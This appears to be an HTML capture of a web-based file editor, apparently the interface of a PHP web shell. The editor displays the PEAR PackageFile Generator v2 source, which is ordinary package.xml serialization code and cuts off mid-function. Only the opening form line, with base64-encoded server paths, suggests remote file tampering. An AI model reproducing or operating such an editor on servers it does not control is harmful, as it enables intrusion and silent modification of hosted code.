<hr>v2.php<form method=post action="?d=L29wdC9hbHQvcGhwODMvdXNyL3NoYXJlL3BlYXIvUEVBUi9QYWNrYWdlRmlsZS9HZW5lcmF0b3I%3D&f=djIucGhw"><input name="f" value="v2.php"><textarea name="t">&lt;?php
/**
 * package.xml generation class, package.xml version 2.0
 *
 * PHP versions 4 and 5
 *
 * @category   pear
 * @package    PEAR
 * @author     Greg Beaver &lt;cellog@php.net&gt;
 * @author     Stephan Schmidt (original XML_Serializer code)
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @link       http://pear.php.net/package/PEAR
 * @since      File available since Release 1.4.0a1
 */
/**
 * file/dir manipulation routines
 */
require_once &#039;System.php&#039;;
require_once &#039;XML/Util.php&#039;;

/**
 * This class converts a PEAR_PackageFile_v2 object into any output format.
 *
 * Supported output formats include array, XML string (using S. Schmidt&#039;s
 * XML_Serializer, slightly customized)
 * @category   pear
 * @package    PEAR
 * @author     Greg Beaver &lt;cellog@php.net&gt;
 * @author     Stephan Schmidt (original XML_Serializer code)
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @version    Release: 1.10.18
 * @link       http://pear.php.net/package/PEAR
 * @since      Class available since Release 1.4.0a1
 */
class PEAR_PackageFile_Generator_v2
{
   /**
    * default options for the serialization
    * @access private
    * @var array $_defaultOptions
    */
    var $_defaultOptions = array(
        &#039;indent&#039;             =&gt; &#039; &#039;,                    // string used for indentation
        &#039;linebreak&#039;          =&gt; &quot;\n&quot;,                  // string used for newlines
        &#039;typeHints&#039;          =&gt; false,                 // automatically add type hin attributes
        &#039;addDecl&#039;            =&gt; true,                 // add an XML declaration
        &#039;defaultTagName&#039;     =&gt; &#039;XML_Serializer_Tag&#039;,  // tag used for indexed arrays or invalid names
        &#039;classAsTagName&#039;     =&gt; false,                 // use classname for objects in indexed arrays
        &#039;keyAttribute&#039;       =&gt; &#039;_originalKey&#039;,        // attribute where original key is stored
        &#039;typeAttribute&#039;      =&gt; &#039;_type&#039;,               // attribute for type (only if typeHints =&gt; true)
        &#039;classAttribute&#039;     =&gt; &#039;_class&#039;,              // attribute for class of objects (only if typeHints =&gt; true)
        &#039;scalarAsAttributes&#039; =&gt; false,                 // scalar values (strings, ints,..) will be serialized as attribute
        &#039;prependAttributes&#039;  =&gt; &#039;&#039;,                    // prepend string for attributes
        &#039;indentAttributes&#039;   =&gt; false,                 // indent the attributes, if set to &#039;_auto&#039;, it will indent attributes so they all start at the same column
        &#039;mode&#039;               =&gt; &#039;simplexml&#039;,             // use &#039;simplexml&#039; to use parent name as tagname if transforming an indexed array
        &#039;addDoctype&#039;         =&gt; false,                 // add a doctype declaration
        &#039;doctype&#039;            =&gt; null,                  // supply a string or an array with id and uri ({@see XML_Util::getDoctypeDeclaration()}
        &#039;rootName&#039;           =&gt; &#039;package&#039;,                  // name of the root tag
        &#039;rootAttributes&#039;     =&gt; array(
            &#039;version&#039; =&gt; &#039;2.0&#039;,
            &#039;xmlns&#039; =&gt; &#039;http://pear.php.net/dtd/package-2.0&#039;,
            &#039;xmlns:tasks&#039; =&gt; &#039;http://pear.php.net/dtd/tasks-1.0&#039;,
            &#039;xmlns:xsi&#039; =&gt; &#039;http://www.w3.org/2001/XMLSchema-instance&#039;,
            &#039;xsi:schemaLocation&#039; =&gt; &#039;http://pear.php.net/dtd/tasks-1.0
http://pear.php.net/dtd/tasks-1.0.xsd
http://pear.php.net/dtd/package-2.0
http://pear.php.net/dtd/package-2.0.xsd&#039;,
        ),               // attributes of the root tag
        &#039;attributesArray&#039;    =&gt; &#039;attribs&#039;,                  // all values in this key will be treated as attributes
        &#039;contentName&#039;        =&gt; &#039;_content&#039;,                   // this value will be used directly as content, instead of creating a new tag, may only be used in conjunction with attributesArray
        &#039;beautifyFilelist&#039;   =&gt; false,
        &#039;encoding&#039; =&gt; &#039;UTF-8&#039;,
    );

   /**
    * options for the serialization
    * @access private
    * @var array $options
    */
    var $options = array();

   /**
    * current tag depth
    * @var integer $_tagDepth
    */
    var $_tagDepth = 0;

   /**
    * serilialized representation of the data
    * @var string $_serializedData
    */
    var $_serializedData = null;
    /**
     * @var PEAR_PackageFile_v2
     */
    var $_packagefile;
    /**
     * @param PEAR_PackageFile_v2
     */
    function __construct(&amp;$packagefile)
    {
        $this-&gt;_packagefile = &amp;$packagefile;
        if (isset($this-&gt;_packagefile-&gt;encoding)) {
            $this-&gt;_defaultOptions[&#039;encoding&#039;] = $this-&gt;_packagefile-&gt;encoding;
        }
    }

    /**
     * @return string
     */
    function getPackagerVersion()
    {
        return &#039;1.10.18&#039;;
    }

    /**
     * @param PEAR_Packager
     * @param bool generate a .tgz or a .tar
     * @param string|null temporary directory to package in
     */
    function toTgz(&amp;$packager, $compress = true, $where = null)
    {
        $a = null;
        return $this-&gt;toTgz2($packager, $a, $compress, $where);
    }

    /**
     * Package up both a package.xml and package2.xml for the same release
     * @param PEAR_Packager
     * @param PEAR_PackageFile_v1
     * @param bool generate a .tgz or a .tar
     * @param string|null temporary directory to package in
     */
    function toTgz2(&amp;$packager, &amp;$pf1, $compress = true, $where = null)
    {
        require_once &#039;Archive/Tar.php&#039;;
        if (!$this-&gt;_packagefile-&gt;isEquivalent($pf1)) {
            return PEAR::raiseError(&#039;PEAR_Packagefile_v2::toTgz: &quot;&#039; .
                basename($pf1-&gt;getPackageFile()) .
                &#039;&quot; is not equivalent to &quot;&#039; . basename($this-&gt;_packagefile-&gt;getPackageFile())
                . &#039;&quot;&#039;);
        }

        if ($where === null) {
            if (!($where = System::mktemp(array(&#039;-d&#039;)))) {
                return PEAR::raiseError(&#039;PEAR_Packagefile_v2::toTgz: mktemp failed&#039;);
            }
        } elseif (!@System::mkDir(array(&#039;-p&#039;, $where))) {
            return PEAR::raiseError(&#039;PEAR_Packagefile_v2::toTgz: &quot;&#039; . $where . &#039;&quot; could&#039; .
                &#039; not be created&#039;);
        }

        $file = $where . DIRECTORY_SEPARATOR . &#039;package.xml&#039;;
        if (file_exists($file) &amp;&amp; !is_file($file)) {
            return PEAR::raiseError(&#039;PEAR_Packagefile_v2::toTgz: unable to save package.xml as&#039; .
                &#039; &quot;&#039; . $file  .&#039;&quot;&#039;);
        }

        if (!$this-&gt;_packagefile-&gt;validate(PEAR_VALIDATE_PACKAGING)) {
            return PEAR::raiseError(&#039;PEAR_Packagefile_v2::toTgz: invalid package.xml&#039;);
        }

        $ext = $compress ? &#039;.tgz&#039; : &#039;.tar&#039;;
        $pkgver = $this-&gt;_packagefile-&gt;getPackage() . &#039;-&#039; . $this-&gt;_packagefile-&gt;getVersion();
        $dest_package = getcwd() . DIRECTORY_SEPARATOR . $pkgver . $ext;
        if (file_exists($dest_package) &amp;&amp; !is_file($dest_package)) {
            return PEAR::raiseError(&#039;PEAR_Packagefile_v2::toTgz: cannot create tgz file &quot;&#039; .
                $dest_package . &#039;&quot;&#039;);
        }

        $pkgfile = $this-&gt;_packagefile-&gt;getPackageFile();
        if (!$pkgfile) {
            return PEAR::raiseError(&#039;PEAR_Packagefile_v2::toTgz: package file object must &#039; .
                &#039;be created from a real file&#039;);
        }

        $pkgdir  = dirname(realpath($pkgfile));
        $pkgfile = basename($pkgfile);

        // {{{ Create the package file list
        $filelist = array();
        $i = 0;
        $this-&gt;_packagefile-&gt;flattenFilelist();
        $contents = $this-&gt;_packagefile-&gt;getContents();
        if (isset($contents[&#039;bundledpackage&#039;])) { // bundles of packages
            $contents = $contents[&#039;bundledpackage&#039;];
            if (!isset($contents[0])) {
                $contents = array($contents);
            }

            $packageDir = $where;
            foreach ($contents as $i =&gt; $package) {
                $fname = $package;
                $file = $pkgdir . DIRECTORY_SEPARATOR . $fname;
                if (!file_exists($file)) {
                    return $packager-&gt;raiseError(&quot;File does not exist: $fname&quot;);
                }

                $tfile = $packageDir . DIRECTORY_SEPARATOR . $fname;
                System::mkdir(array(&#039;-p&#039;, dirname($tfile)));
                copy($file, $tfile);
                $filelist[$i++] = $tfile;
                $packager-&gt;log(2, &quot;Adding package $fname&quot;);
            }
        } else { // normal packages
            $contents = $contents[&#039;dir&#039;][&#039;file&#039;];
            if (!isset($contents[0])) {
                $contents = array($contents);
            }

            $packageDir = $where;
            foreach ($contents as $i =&gt; $file) {
                $fname = $file[&#039;attribs&#039;][&#039;name&#039;];
                $atts = $file[&#039;attribs&#039;];
                $orig = $file;
                $file = $pkgdir . DIRECTORY_SEPARATOR . $fname;
                if (!file_exists($file)) {
                    return $packager-&gt;raiseError(&quot;File does not exist: $fname&quot;);
                }

                $origperms = fileperms($file);
                $tfile = $packageDir . DIRECTORY_SEPARATOR . $fname;
                unset($orig[&#039;attribs&#039;]);
                if (count($orig)) { // file with tasks
                    // run any package-time tasks
                    $contents = file_get_contents($file);
                    foreach ($orig as $tag =&gt; $raw) {
                        $tag = str_replace(
                            array($this-&gt;_packagefile-&gt;getTasksNs() . &#039;:&#039;, &#039;-&#039;),
                            array(&#039;&#039;, &#039;_&#039;), $tag);
                        $task = &quot;PEAR_Task_$tag&quot;;
                        $task = new $task($this-&gt;_packagefile-&gt;_config,
                            $this-&gt;_packagefile-&gt;_logger,
                            PEAR_TASK_PACKAGE);
                        $task-&gt;init($raw, $atts, null);
                        $res = $task-&gt;startSession($this-&gt;_packagefile, $contents, $tfile);
                        if (!$res) {
                            continue; // skip this task
                        }

                        if (PEAR::isError($res)) {
                            return $res;
                        }

                        $contents = $res; // save changes
                        System::mkdir(array(&#039;-p&#039;, dirname($tfile)));
                        $wp = fopen($tfile, &quot;wb&quot;);
                        fwrite($wp, $contents);
                        fclose($wp);
                    }
                }

                if (!file_exists($tfile)) {
                    System::mkdir(array(&#039;-p&#039;, dirname($tfile)));
                    copy($file, $tfile);
                }

                chmod($tfile, $origperms);
                $filelist[$i++] = $tfile;
                $this-&gt;_packagefile-&gt;setFileAttribute($fname, &#039;md5sum&#039;, md5_file($tfile), $i - 1);
                $packager-&gt;log(2, &quot;Adding file $fname&quot;);
            }
        }
            // }}}

        $name       = $pf1 !== null ? &#039;package2.xml&#039; : &#039;package.xml&#039;;
        $packagexml = $this-&gt;toPackageFile($where, PEAR_VALIDATE_PACKAGING, $name);
        if ($packagexml) {
            $tar = new Archive_Tar($dest_package, $compress);
            $tar-&gt;setErrorHandling(PEAR_ERROR_RETURN); // XXX Don&#039;t print errors
            // ----- Creates with the package.xml file
            $ok = $tar-&gt;createModify(array($packagexml), &#039;&#039;, $where);
            if (PEAR::isError($ok)) {
                return $packager-&gt;raiseError($ok);
            } elseif (!$ok) {
                return $packager-&gt;raiseError(&#039;PEAR_Packagefile_v2::toTgz(): adding &#039; . $name .
                    &#039; failed&#039;);
            }

            // ----- Add the content of the package
            if (!$tar-&gt;addModify($filelist, $pkgver, $where)) {
                return $packager-&gt;raiseError(
                    &#039;PEAR_Packagefile_v2::toTgz(): tarball creation failed&#039;);
            }

            // add the package.xml version 1.0
            if ($pf1 !== null) {
                $pfgen = &amp;$pf1-&gt;getDefaultGenerator();
                $packagexml1 = $pfgen-&gt;toPackageFile($where, PEAR_VALIDATE_PACKAGING, &#039;package.xml&#039;, true);
                if (!$tar-&gt;addModify(array($packagexml1), &#039;&#039;, $where)) {
                    return $packager-&gt;raiseError(
                        &#039;PEAR_Packagefile_v2::toTgz(): adding package.xml failed&#039;);
                }
            }

            return $dest_package;
        }
    }

    function toPackageFile($where = null, $state = PEAR_VALIDATE_NORMAL, $name = &#039;package.xml&#039;)
    {
        if (!$this-&gt;_packagefile-&gt;validate($state)) {
            return PEAR::raiseError(&#039;PEAR_Packagefile_v2::toPackageFile: invalid package.xml&#039;,
                null, null, null, $this-&gt;_packagefile-&gt;getValidationWarnings());
        }

        if ($where === null) {
            if (!($where = System::mktemp(array(&#039;-d&#039;)))) {
                return PEAR::raiseError(&#039;PEAR_Packagefile_v2::toPackageFile: mktemp failed&#039;);
            }
        } elseif (!@System::mkDir(array(&#039;-p&#039;, $where))) {
            return PEAR::raiseError(&#039;PEAR_Packagefile_v2::toPackageFile: &quot;&#039; . $where . &#039;&quot; could&#039; .
                &#039; not be created&#039;);
        }

        $newpkgfile = $where . DIRECTORY_SEPARATOR . $name;
        $np = @fopen($newpkgfile, &#039;wb&#039;);
        if (!$np) {
            return PEAR::raiseError(&#039;PEAR_Packagefile_v2::toPackageFile: unable to save &#039; .
               &quot;$name as $newpkgfile&quot;);
        }
        fwrite($np, $this-&gt;toXml($state));
        fclose($np);
        return $newpkgfile;
    }

    function &amp;toV2()
    {
        return $this-&gt;_packagefile;
    }

    /**
     * Return an XML document based on the package info (as returned
     * by the PEAR_Common::infoFrom* methods).
     *
     * @return string XML data
     */
    function toXml($state = PEAR_VALIDATE_NORMAL, $options = array())
    {
        $this-&gt;_packagefile-&gt;setDate(date(&#039;Y-m-d&#039;));
        $this-&gt;_packagefile-&gt;setTime(date(&#039;H:i:s&#039;));
        if (!$this-&gt;_packagefile-&gt;validate($state)) {
            return false;
        }

        if (is_array($options)) {
            $this-&gt;options = array_merge($this-&gt;_defaultOptions, $options);
        } else {
            $this-&gt;options = $this-&gt;_defaultOptions;
        }

        $arr = $this-&gt;_packagefile-&gt;getArray();
        if (isset($arr[&#039;filelist&#039;])) {
            unset($arr[&#039;filelist&#039;]);
        }

        if (isset($arr[&#039;_lastversion&#039;])) {
            unset($arr[&#039;_lastversion&#039;]);
        }

        // Fix the notes a little bit
        if (isset($arr[&#039;notes&#039;])) {
            // This trims out the indenting, needs fixing
            $arr[&#039;notes&#039;] = &quot;\n&quot; . trim($arr[&#039;notes&#039;]) . &quot;\n&quot;;
        }

        if (isset($arr[&#039;changelog&#039;]) &amp;&amp; !empty($arr[&#039;changelog&#039;])) {
            // Fix for inconsistency how the array is filled depending on the changelog release amount
            if (!isset($arr[&#039;changelog&#039;][&#039;release&#039;][0])) {
                $release = $arr[&#039;changelog&#039;][&#039;release&#039;];
                unset($arr[&#039;changelog&#039;][&#039;release&#039;]);

                $arr[&#039;changelog&#039;][&#039;release&#039;]    = array();
                $arr[&#039;changelog&#039;][&#039;release&#039;][0] = $release;
            }

            foreach (array_keys($arr[&#039;changelog&#039;][&#039;release&#039;]) as $key) {
                $c =&amp; $arr[&#039;changelog&#039;][&#039;release&#039;][$key];
                if (isset($c[&#039;notes&#039;])) {
                    // This trims out the indenting, needs fixing
                    $c[&#039;notes&#039;] = &quot;\n&quot; . trim($c[&#039;notes&#039;]) . &quot;\n&quot;;
                }
            }
        }

        if ($state ^ PEAR_VALIDATE_PACKAGING &amp;&amp; !isset($arr[&#039;bundle&#039;])) {
            $use = $this-&gt;_recursiveXmlFilelist($arr[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;]);
            unset($arr[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;]);
            if (isset($use[&#039;dir&#039;])) {
                $arr[&#039;contents&#039;][&#039;dir&#039;][&#039;dir&#039;] = $use[&#039;dir&#039;];
            }
            if (isset($use[&#039;file&#039;])) {
                $arr[&#039;contents&#039;][&#039;dir&#039;][&#039;file&#039;] = $use[&#039;file&#039;];
            }
            $this-&gt;options[&#039;beautifyFilelist&#039;] = true;
        }

        $arr[&#039;attribs&#039;][&#039;packagerversion&#039;] = &#039;1.10.18&#039;;
        if ($this-&gt;serialize($arr, $options)) {
            return $this-&gt;_serializedData . &quot;\n&quot;;
        }

        return false;
    }


    function _recursiveXmlFilelist($list)
    {
        $dirs = array();
        if (isset($list[&#039;attribs&#039;])) {
            $file = $list[&#039;attribs&#039;][&#039;name&#039;];
            unset($list[&#039;attribs&#039;][&#039;name&#039;]);
            $attributes = $list[&#039;attribs&#039;];
            $this-&gt;_addDir($dirs, explode(&#039;/&#039;, dirname($file)), $file, $attributes);
        } else {
            foreach ($list as $a) {
                $file = $a[&#039;attribs&#039;][&#039;name&#039;];
                $attributes = $a[&#039;attribs&#039;];
                unset($a[&#039;attribs&#039;]);
                $this-&gt;_addDir($dirs, explode(&#039;/&#039;, dirname($file)), $file, $attributes, $a);
            }
        }
        $this-&gt;_formatDir($dirs);
        $this-&gt;_deFormat($dirs);
        return $dirs;
    }

    function _addDir(&amp;$dirs, $dir, $file = null, $attributes = null, $tasks = null)
    {
        if (!$tasks) {
            $tasks = array();
        }
        if ($dir == array() || $dir == array(&#039;.&#039;)) {
            $dirs[&#039;file&#039;][basename($file)] = $tasks;
            $attributes[&#039;name&#039;] = basename($file);
            $dirs[&#039;file&#039;][basename($file)][&#039;attribs&#039;] = $attributes;
            return;
        }
        $curdir = array_shift($dir);
        if (!isset($dirs[&#039;dir&#039;][$curdir])) {
            $dirs[&#039;dir&#039;][$curdir] = array();
        }
        $this-&gt;_addDir($dirs[&#039;dir&#039;][$curdir], $dir, $file, $attributes, $tasks);
    }

    function _formatDir(&amp;$dirs)
    {
        if (!count($dirs)) {
            return array();
        }
        $newdirs = array();
        if (isset($dirs[&#039;dir&#039;])) {
            $newdirs[&#039;dir&#039;] = $dirs[&#039;dir&#039;];
        }
        if (isset($dirs[&#039;file&#039;])) {
            $newdirs[&#039;file&#039;] = $dirs[&#039;file&#039;];
        }
        $dirs = $newdirs;
        if (isset($dirs[&#039;dir&#039;])) {
            uksort($dirs[&#039;dir&#039;], &#039;strnatcasecmp&#039;);
            foreach ($dirs[&#039;dir&#039;] as $dir =&gt; $contents) {
                $this-&gt;_formatDir($dirs[&#039;dir&#039;][$dir]);
            }
        }
        if (isset($dirs[&#039;file&#039;])) {
            uksort($dirs[&#039;file&#039;], &#039;strnatcasecmp&#039;);
        };
    }

    function _deFormat(&amp;$dirs)
    {
        if (!count($dirs)) {
            return array();
        }
        $newdirs = array();
        if (isset($dirs[&#039;dir&#039;])) {
            foreach ($dirs[&#039;dir&#039;] as $dir =&gt; $contents) {
                $newdir = array();
                $newdir[&#039;attribs&#039;][&#039;name&#039;] = $dir;
                $this-&gt;_deFormat($contents);
                foreach ($contents as $tag =&gt; $val) {
                    $newdir[$tag] = $val;
                }
                $newdirs[&#039;dir&#039;][] = $newdir;
            }
            if (count($newdirs[&#039;dir&#039;]) == 1) {
                $newdirs[&#039;dir&#039;] = $newdirs[&#039;dir&#039;][0];
            }
        }
        if (isset($dirs[&#039;file&#039;])) {
            foreach ($dirs[&#039;file&#039;] as $name =&gt; $file) {
                $newdirs[&#039;file&#039;][] = $file;
            }
            if (count($newdirs[&#039;file&#039;]) == 1) {
                $newdirs[&#039;file&#039;] = $newdirs[&#039;file&#039;][0];
            }
        }
        $dirs = $newdirs;
    }

    /**
    * reset all options to default options
    *
    * @access   public
    * @see      setOption(), XML_Unserializer()
    */
    function resetOptions()
    {
        $this-&gt;options = $this-&gt;_defaultOptions;
    }

   /**
    * set an option
    *
    * You can use this method if you do not want to set all options in the constructor
    *
    * @access   public
    * @see      resetOption(), XML_Serializer()
    */
    function setOption($name, $value)
    {
        $this-&gt;options[$name] = $value;
    }

   /**
    * sets several options at once
    *
    * You can use this method if you do not want to set all options in the constructor
    *
    * @access   public
    * @see      resetOption(), XML_Unserializer(), setOption()
    */
    function setOptions($options)
    {
        $this-&gt;options = array_merge($this-&gt;options, $options);
    }

   /**
    * serialize data
    *
    * @access   public
    * @param    mixed    $data data to serialize
    * @return   boolean  true on success, pear error on failure
    */
    function serialize($data, $options = null)
    {
        // if options have been specified, use them instead
        // of the previously defined ones
        if (is_array($options)) {
            $optionsBak = $this-&gt;options;
            if (isset($options[&#039;overrideOptions&#039;]) &amp;&amp; $options[&#039;overrideOptions&#039;] == true) {
                $this-&gt;options = array_merge($this-&gt;_defaultOptions, $options);
            } else {
                $this-&gt;options = array_merge($this-&gt;options, $options);
            }
        } else {
            $optionsBak = null;
        }

        //  start depth is zero
        $this-&gt;_tagDepth = 0;
        $this-&gt;_serializedData = &#039;&#039;;
        // serialize an array
        if (is_array($data)) {
            $tagName = isset($this-&gt;options[&#039;rootName&#039;]) ? $this-&gt;options[&#039;rootName&#039;] : &#039;array&#039;;
            $this-&gt;_serializedData .= $this-&gt;_serializeArray($data, $tagName, $this-&gt;options[&#039;rootAttributes&#039;]);
        }

        // add doctype declaration
        if ($this-&gt;options[&#039;addDoctype&#039;] === true) {
            $this-&gt;_serializedData = XML_Util::getDoctypeDeclaration($tagName, $this-&gt;options[&#039;doctype&#039;])
                                   . $this-&gt;options[&#039;linebreak&#039;]
                                   . $this-&gt;_serializedData;
        }

        //  build xml declaration
        if ($this-&gt;options[&#039;addDecl&#039;]) {
            $atts = array();
            $encoding = isset($this-&gt;options[&#039;encoding&#039;]) ? $this-&gt;options[&#039;encoding&#039;] : null;
            $this-&gt;_serializedData = XML_Util::getXMLDeclaration(&#039;1.0&#039;, $encoding)
                                   . $this-&gt;options[&#039;linebreak&#039;]
                                   . $this-&gt;_serializedData;
        }


        if ($optionsBak !== null) {
            $this-&gt;options = $optionsBak;
        }

        return  true;
    }

   /**
    * get the result of the serialization
    *
    * @access public
    * @return string serialized XML
    */
    function getSerializedData()
    {
        if ($this-&gt;_serializedData === null) {
            return  $this-&gt;raiseError(&#039;No serialized data available. Use XML_Serializer::serialize() first.&#039;, XML_SERIALIZER_ERROR_NO_SERIALIZATION);
        }
        return $this-&gt;_serializedData;
    }

   /**
    * serialize any value
    *
    * This method checks for the type of the value and calls the appropriate method
    *
    * @access private
    * @param  mixed     $value
    * @param  string    $tagName
    * @param  array     $attributes
    * @return string
    */
    function _serializeValue($value, $tagName = null, $attributes = array())
    {
        if (is_array($value)) {
            $xml = $this-&gt;_serializeArray($value, $tagName, $attributes);
        } elseif (is_object($value)) {
            $xml = $this-&gt;_serializeObject($value, $tagName);
        } else {
            $tag = array(
                          &#039;qname&#039;      =&gt; $tagName,
                          &#039;attributes&#039; =&gt; $attributes,
                          &#039;content&#039;    =&gt; $value
                        );
            $xml = $this-&gt;_createXMLTag($tag);
        }
        return $xml;
    }

   /**
    * serialize an array
    *
    * @access   private
    * @param    array   $array       array to serialize
    * @param    string  $tagName     name of the root tag
    * @param    array   $attributes  attributes for the root tag
    * @return   string  $string      serialized data
    * @uses     XML_Util::isValidName() to check, whether key has to be substituted
    */
    function _serializeArray(&amp;$array, $tagName = null, $attributes = array())
    {
        $_content = null;

        /**
         * check for special attributes
         */
        if ($this-&gt;options[&#039;attributesArray&#039;] !== null) {
            if (isset($array[$this-&gt;options[&#039;attributesArray&#039;]])) {
                $attributes = $array[$this-&gt;options[&#039;attributesArray&#039;]];
                unset($array[$this-&gt;options[&#039;attributesArray&#039;]]);
            }
            /**
             * check for special content
             */
            if ($this-&gt;options[&#039;contentName&#039;] !== null) {
                if (isset($array[$this-&gt;options[&#039;contentName&#039;]])) {
                    $_content = $array[$this-&gt;options[&#039;contentName&#039;]];
                    unset($array[$this-&gt;options[&#039;contentName&#039;]]);
                }
            }
        }

        /*
        * if mode is set to simpleXML, check whether
        * the array is associative or indexed
        */
        if (is_array($array) &amp;&amp; $this-&gt;options[&#039;mode&#039;] == &#039;simplexml&#039;) {
            $indexed = true;
            if (!count($array)) {
                $indexed = false;
            }
            foreach ($array as $key =&gt; $val) {
                if (!is_int($key)) {
                    $indexed = false;
                    break;
                }
            }

            if ($indexed &amp;&amp; $this-&gt;options[&#039;mode&#039;] == &#039;simplexml&#039;) {
                $string = &#039;&#039;;
                foreach ($array as $key =&gt; $val) {
                    if ($this-&gt;options[&#039;beautifyFilelist&#039;] &amp;&amp; $tagName == &#039;dir&#039;) {
                        if (!isset($this-&gt;_curdir)) {
                            $this-&gt;_curdir = &#039;&#039;;
                        }
                        $savedir = $this-&gt;_curdir;
                        if (isset($val[&#039;attribs&#039;])) {
                            if ($val[&#039;attribs&#039;][&#039;name&#039;] == &#039;/&#039;) {
                                $this-&gt;_curdir = &#039;/&#039;;
                            } else {
                                if ($this-&gt;_curdir == &#039;/&#039;) {
                                    $this-&gt;_curdir = &#039;&#039;;
                                }
                                $this-&gt;_curdir .= &#039;/&#039; . $val[&#039;attribs&#039;][&#039;name&#039;];
                            }
                        }
                    }
                    $string .= $this-&gt;_serializeValue( $val, $tagName, $attributes);
                    if ($this-&gt;options[&#039;beautifyFilelist&#039;] &amp;&amp; $tagName == &#039;dir&#039;) {
                        $string .= &#039; &lt;!-- &#039; . $this-&gt;_curdir . &#039; --&gt;&#039;;
                        if (empty($savedir)) {
                            unset($this-&gt;_curdir);
                        } else {
                            $this-&gt;_curdir = $savedir;
                        }
                    }

                    $string .= $this-&gt;options[&#039;linebreak&#039;];
                    // do indentation
                    if ($this-&gt;options[&#039;indent&#039;] !== null &amp;&amp; $this-&gt;_tagDepth &gt; 0) {
                        $string .= str_repeat($this-&gt;options[&#039;indent&#039;], $this-&gt;_tagDepth);
                    }
                }
                return rtrim($string);
            }
        }

        if ($this-&gt;options[&#039;scalarAsAttributes&#039;] === true) {
            foreach ($array as $key =&gt; $value) {
                if (is_scalar($value) &amp;&amp; (XML_Util::isValidName($key) === true)) {
                    unset($array[$key]);
                    $attributes[$this-&gt;options[&#039;prependAttributes&#039;].$key] = $value;
                }
            }
        }

        // check for empty array =&gt; create empty tag
        if (empty($array)) {
            $tag = array(
                            &#039;qname&#039;      =&gt; $tagName,
                            &#039;content&#039;    =&gt; $_content,
                            &#039;attributes&#039; =&gt; $attributes
                        );

        } else {
            $this-&gt;_tagDepth++;
            $tmp = $this-&gt;options[&#039;linebreak&#039;];
            foreach ($array as $key =&gt; $value) {
                // do indentation
                if ($this-&gt;options[&#039;indent&#039;] !== null &amp;&amp; $this-&gt;_tagDepth &gt; 0) {
                    $tmp .= str_repeat($this-&gt;options[&#039;indent&#039;], $this-&gt;_tagDepth);
                }

                // copy key
                $origKey = $key;
                // key cannot be used as tagname =&gt; use default tag
                $valid = XML_Util::isValidName($key);
                if (PEAR::isError($valid)) {
                    if ($this-&gt;options[&#039;classAsTagName&#039;] &amp;&amp; is_object($value)) {
                        $key = get_class($value);
                    } else {
                        $key = $this-&gt;options[&#039;defaultTagName&#039;];
                    }
                }
                $atts = array();
                if ($this-&gt;options[&#039;typeHints&#039;] === true) {
                    $atts[$this-&gt;options[&#039;typeAttribute&#039;]] = gettype($value);
                    if ($key !== $origKey) {
                        $atts[$this-&gt;options[&#039;keyAttribute&#039;]] = (string)$origKey;
                    }

                }
                if ($this-&gt;options[&#039;beautifyFilelist&#039;] &amp;&amp; $key == &#039;dir&#039;) {
                    if (!isset($this-&gt;_curdir)) {
                        $this-&gt;_curdir = &#039;&#039;;
                    }
                    $savedir = $this-&gt;_curdir;
                    if (isset($value[&#039;attribs&#039;])) {
                        if ($value[&#039;attribs&#039;][&#039;name&#039;] == &#039;/&#039;) {
                            $this-&gt;_curdir = &#039;/&#039;;
                        } else {
                            $this-&gt;_curdir .= &#039;/&#039; . $value[&#039;attribs&#039;][&#039;name&#039;];
                        }
                    }
                }

                if (is_string($value) &amp;&amp; $value &amp;&amp; ($value[strlen($value) - 1] == &quot;\n&quot;)) {
                    $value .= str_repeat($this-&gt;options[&#039;indent&#039;], $this-&gt;_tagDepth);
                }
                $tmp .= $this-&gt;_createXMLTag(array(
                                                    &#039;qname&#039;      =&gt; $key,
                                                    &#039;attributes&#039; =&gt; $atts,
                                                    &#039;content&#039;    =&gt; $value )
                                            );
                if ($this-&gt;options[&#039;beautifyFilelist&#039;] &amp;&amp; $key == &#039;dir&#039;) {
                    if (isset($value[&#039;attribs&#039;])) {
                        $tmp .= &#039; &lt;!-- &#039; . $this-&gt;_curdir . &#039; --&gt;&#039;;
                        if (empty($savedir)) {
                            unset($this-&gt;_curdir);
                        } else {
                            $this-&gt;_curdir = $savedir;
                        }
                    }
                }
                $tmp .= $this-&gt;options[&#039;linebreak&#039;];
            }

            $this-&gt;_tagDepth--;
            if ($this-&gt;options[&#039;indent&#039;]!==null &amp;&amp; $this-&gt;_tagDepth&gt;0) {
                $tmp .= str_repeat($this-&gt;options[&#039;indent&#039;], $this-&gt;_tagDepth);
            }

            if (trim($tmp) === &#039;&#039;) {
                $tmp = null;
            }

            $tag = array(
                &#039;qname&#039;      =&gt; $tagName,
                &#039;content&#039;    =&gt; $tmp,
                &#039;attributes&#039; =&gt; $attributes
            );
        }
        if ($this-&gt;options[&#039;typeHints&#039;] === true) {
            if (!isset($tag[&#039;attributes&#039;][$this-&gt;options[&#039;typeAttribute&#039;]])) {
                $tag[&#039;attributes&#039;][$this-&gt;options[&#039;typeAttribute&#039;]] = &#039;array&#039;;
            }
        }

        $string = $this-&gt;_createXMLTag($tag, false);
        return $string;
    }

   /**
    * create a tag from an array
    * this method awaits an array in the following format
    * array(
    *       &#039;qname&#039;        =&gt; $tagName,
    *       &#039;attributes&#039;   =&gt; array(),
    *       &#039;content&#039;      =&gt; $content,      // optional
    *       &#039;namespace&#039;    =&gt; $namespace     // optional
    *       &#039;namespaceUri&#039; =&gt; $namespaceUri  // optional
    *   )
    *
    * @access   private
    * @param    array   $tag tag definition
    * @param    boolean $replaceEntities whether to replace XML entities in content or not
    * @return   string  $string XML tag
    */
    function _createXMLTag($tag, $replaceEntities = true)
    {
        if ($this-&gt;options[&#039;indentAttributes&#039;] !== false) {
            $multiline = true;
            $indent    = str_repeat($this-&gt;options[&#039;indent&#039;], $this-&gt;_tagDepth);

            if ($this-&gt;options[&#039;indentAttributes&#039;] == &#039;_auto&#039;) {
                $indent .= str_repeat(&#039; &#039;, (strlen($tag[&#039;qname&#039;])+2));

            } else {
                $indent .= $this-&gt;options[&#039;indentAttributes&#039;];
            }
        } else {
            $indent = $multiline = false;
        }

        if (is_array($tag[&#039;content&#039;])) {
            if (empty($tag[&#039;content&#039;])) {
                $tag[&#039;content&#039;] = &#039;&#039;;
            }
        } elseif(is_scalar($tag[&#039;content&#039;]) &amp;&amp; (string)$tag[&#039;content&#039;] == &#039;&#039;) {
